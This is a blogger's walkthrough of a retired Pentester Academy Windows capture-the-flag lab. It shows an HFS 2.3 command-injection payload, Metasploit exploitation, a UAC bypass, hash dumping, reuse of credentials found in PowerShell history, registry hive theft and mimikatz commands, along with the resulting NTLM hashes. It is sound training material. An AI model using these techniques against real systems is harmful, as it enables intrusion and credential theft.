Walkthrough — Windows Security CTF: [Dec 4 — Dec 8] — Pentester Academy

On the Lookout
7 min readDec 9, 2020

This is a write-up of Pentester Academy’s December Windows Security Capture the Flag (CTF).

The challenge can still be found (retired) here: https://attackdefense.pentesteracademy.com/challengedetails?cid=2143

Mission Description: The CTF is focused on exploiting vulnerable applications and windows components exploitation. Explore the services, applications on the running machine, identify the misconfiguration flaw then and leverage it to obtain a shell on the target. Once you have a shell, escalate privileges and perform Lateral movement to compromise the second machine on the network.

Before I go on, please note that I’ve never attacked a Windows machine before…everything in this report I gathered from my own research as the challenges presented themselves. Right at the very end, before the final Flag, I put a comment in to the Discord channel and Bo0mBaby approved my approach to solving the final part. Only after I’d completed it did he present an alternative and I’m grateful for his not providing me with any spoilers prior as completing this in the time was a real success for me.

ok, 2 targets, A and B. Let’s start with the first one:

Load it up and let’s start some recce.

You’re given the IP addresses from the outset so it’s an nmap scan to start. Throughout, I’ve shortened the IP address to <IP> only because the virtual machine restarted every hour, just to keep the pressure up, and reset the IP address each time. Annoying. :D

nmap -sV -Pn <IP>

80/tcp open http HttpFileServer httpd 2.3
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2–2012 microsoft-ds
3389/tcp open ssl/ms-wbt-server?
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49163/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2–2012; CPE: cpe:/o:microsoft:windows

Windows boxes! I’ve never attacked a Windows machine so this is a first for me. Lots of learning ahead. Immediately, we see port 80 and 3389 as interesting vectors. So over to the webpage we go, firing up the Firefox to check it out. Oh, HTTP File Server (HFS)…being able to share files over HTTP/HTTPS…a login page (come back to that), a search function and not much else.

A quick Google of HFS 2.3 and we find it’s extremely vulnerable due to a flaw in its input verification within the search function. Changing the URL to ?/search=%00{.cmd|exec.} allows us to run commands..but it’s never that simple and attempting /?search=%00{.cmd|dir.} doesn’t present us with a directory listing. The command needs to be encoded properly and the link maintained so that any link is not terminated when the command concludes.

Enter Metasploit for this task. Sure enough, a quick “search HFS” provides a singular usable response. Setting this up with the RHOSTS / LPORT / SVHOST and SRVPORT, with a quick “exploit” and we’re in. This actually took me a bit more time than it took to write this paragraph. Further nmap scans showed that the default Metasploit listener port of 4444 was blocked but I didn’t think to check for quite a bit of time, eventually changing it to 60000 / 60001 which then worked seamlessly.

Confronted with a Meterpreter prompt, I prefer a shell and so “shell” it is.

A quick check of which use I’m logged in as with “whoami” and I find I’m sysadmin. Immediately moving in to check what other users have accounts in C:\Users… Administrator / Sysadmin / Public.

Very rapidly…

cd \users\administrator\desktop
Flag 3 ea1d89af5d92a4cdc70f018ff04fed2f

cd \users\administrator\downloads\
autologon.zip ← *maybe come back to this later*

cd \users\sysadmin\desktop
Flag 2b5b037a78522671b89a2c1b21d9b80c6

The first flag was actually to find the Windows version, quickly supplied by “systeminfo”
Flag 16.3.9600

In the space of about 2 minutes, 3 flags, all verified….3 of 9…so what’s next?

The mission page now asks for the NLTM Hashes of Administrator and Webadmin…and WebAdmin doesn’t appear to have any folders.

A quick check of users with “net users” and we find that Webadmin is indeed a valid user. Excellent. “net localgroup” informs me that sysadmin is part of the Administrators group….oh, thank you!

As is always a good idea, because you just never know, a search for any in-clear mention of “password” is in order:

findstr /si password *.txt *.ini *.config *.xml
findstr /spin “password” *.*

But….alas, nothing…ok, worth a try.

So, how to get those pesky password hashes from windows? In Linux, especially with Admin rights, it’s pretty simple…not so in Windows, where the hashes are broken up across multiple files, files that can’t be opened while the system is in use. Helpful. But they can be replicated and saved in to another area. in the Registry, SYSTEM and SAM are where the password hashes are saved (c:\windows\system32\config\). However, I need actual Admin credentials…

cmdkey /list ←I see Administrator credentials have been saved. I can “runas” administrator using those saved creds.

runas /env / savedcred /user:HTTP-SERVER\administrator “reg save HKLM\SYSTEM systembackup.hiv”

runas /env /savedcred /user:HTTP-SERVER\administrator “reg save HKLM\SAM sambackup.hiv”

We now have 2 working backups…but what now? If I can exfil them to my attacking system then I can use “samdump2" but without a NetCat (nc) or decent understanding of Windows Powershell (that will come soon), how can I get them out? As it turns out, this was a bit of a red herring…hey, I’m new to Windows exploitation, what can I say? Our friend Metasploit actually provides us with a tool for this, in the form of a Hashdump module that does it all automatically.

“Exit”ing the shell and back in to Meterpreter prompt, type “background” and drop the session in to the background (typically Session 1). Search “hashdump” and load the appropriate module with “use”. Supply the right details and type “exploit”….ah…a brick wall. It needs a User Access Control Bypass (Google is your friend for what this means to the newbie)…another “search bypass uac” in Metasploit and sure enough quite a few come up. The first 2 or 3 didn’t work and I eventually settled on “bypassuac_eventvwr” which did the job beautifully, allowing me to then type “getsystem” at the glowing Meterpreter prompt, followed by:

run post/windows/gather/hashdump

And, lo and behold!

Administrator:500:aad3b435b51404eeaad3b435b51404ee:7e430ccc8af6afff0ec1cbeac99d3a2c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sysadmin:1010:aad3b435b51404eeaad3b435b51404ee:c04da4ad2997a9d6f90b98f979b47105:::
webadmin:1011:aad3b435b51404eeaad3b435b51404ee:ef141b10d3479e041d148b80d628a8a0:::

With the password hash being the second set of 32 characters, entering those of Administrator and Webadmin in to the verification page and “VERIFIED”. Excellent, 5 of 9 complete.

On to Target B

Again, an nmap scan:

PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services

3389 — Remote Desktop Protocol (RDP)…very popular at the moment due to increased working from home.

The mission statement talked of moving ‘laterally’ between the machines. So has sysadmin RDP’d from Target A to Target B? If so, is there a trace of it?

Using the above break in to Target A again, it’s time for “Powershell”, specifically to see if there’s any command line history kept. In Linux, there’s a bash history in a hidden file called, aptly, .history. Not so typically in the Windows command line although Powershell now does do this by default. Powershell users can find their history in:

C:\Users\sysadmin\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\consolehost_history.txt

“Type console_history.txt” and sure enough, among the many other commands that have been used to set the challenge up, we find:

$username = ‘remoteadmin’
$securePassword = ConvertTo-SecureString “wtcjWJzNMu4doa4vHTd” -AsPlainText -force

We have some login credentials: remoteadmin:wtcjWJzNMu4doa4vHTd.

A quick verification of Flag 6 — remoteadmin’s plaintext password — and we’re 6 of 9 down.

Exiting Target A and back to the attacking machine (because I like to keep things as clean as possible), it’s time to remote in to Target B.

xfreerdp /u:remoteadmin /p:wtcjWJzNMu4doa4vHTd /v:<IP>

Up pops a Windows desktop with nothing more than an empty trashcan and “Flag 7.txt” — facf74b66d661021bf5fca33f8076cdc — 7 of 9 done!

Now what? I have no start menu bar, no commands…let’s look in the trash…yeah, it’s empty but it’s just a folder anyway and we have full access to the system.

Always check c:\users, you need to know which other users there are and see what they’re up to: Administratot\Desktop Flag 8.txt ← 536e40d5ca070a065e996534e8e3a589….SO CLOSE! 8 of 9…’just’ some NTLM hashes to go again, easy peasy.

I also found c:\utilities\hfs.exe — our friend from right at the beginning that was vulnerable enough to let us in. Wonderful. Right-click, Run As Administrator, please. Up it loads…but…this is version 2.3m … a quick google and…not vulnerable! Balls. ok, what next.

Go to c:\windows\system32\cmd.exe and Run As Admin…drop in to the command line.

As we did above, “reg save HKLM\SAM sambackup.hiv” and do the same for SYSTEM. Up in the HFS setup, “add files” and add the 2 .hiv files.

Back in the attacking machine, fire up the ol’ Firefox and head over to Target B — sure enough, there are the 2 files! Come on, this is simple…loving it. Download the files and, as mentioned above, run “samdump2 systembackup.hiv sambackup.hiv” and…

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
*disabled* :504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
remoteadmin:1009:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

YES!

NO!

check out the hashes, they’re all the same. Target B is not the same version of Windows and has additional security…the above hashes are merely padding to negate this sort of attack. Goddamnit. A Google search proves samdump2 to be ineffective against Windows 10 targets and only “mimimatz” currently capable…I’ve got a copy of mimikatz, it’s on the attacking machine..but how can I get it on to the Target B machine?

I hunted around for this one and kept drawing a blank. I’ve since been told that Powershell can do this but I wanted to complete this with what I know and the tools staring at me and that I know. HFS…it’s a file sharing utility, can I use the web interface to upload files? Dig in to the HFS settings and sure enough, you can set up a user and give them the ability to upload files.

So setup “admin:admin” and login through the web portal. Sure enough, an upload facility is there. Upload the mimikatz files from: /usr/share/windows-resources/mimikatz/Win32

Back on the Target B machine, Run As Admin “mimikatz.exe”

At the Mimikatz prompt: lsadump::SAM sambackup.hiv systembackup.hiv ← those files we created earlier.

Nothing…no privileges. Luckily, Mimikatz comes with a tool for this:

“privilege::debug”

“token::elevate”

lsadump::SAM sambackup.hiv systembackup.hiv

SUCCESS!

Administrator Hash: 46e8ecbaa0b25e989477e06a9223da05

So, 9 flags of 9, within the time limit. This took be about 6 hours, all told. Many took far less time but I go back to the beginning when I say that I’ve never touched a Windows hack before, having to learn everything as I went along.

Thanks to Pentest Academy for this challenge!

--

--

On the Lookout

A husband, father of 3 and career military. The global interplay, Welsh rugby, information operations and cyber geekery all fuel my scribbles.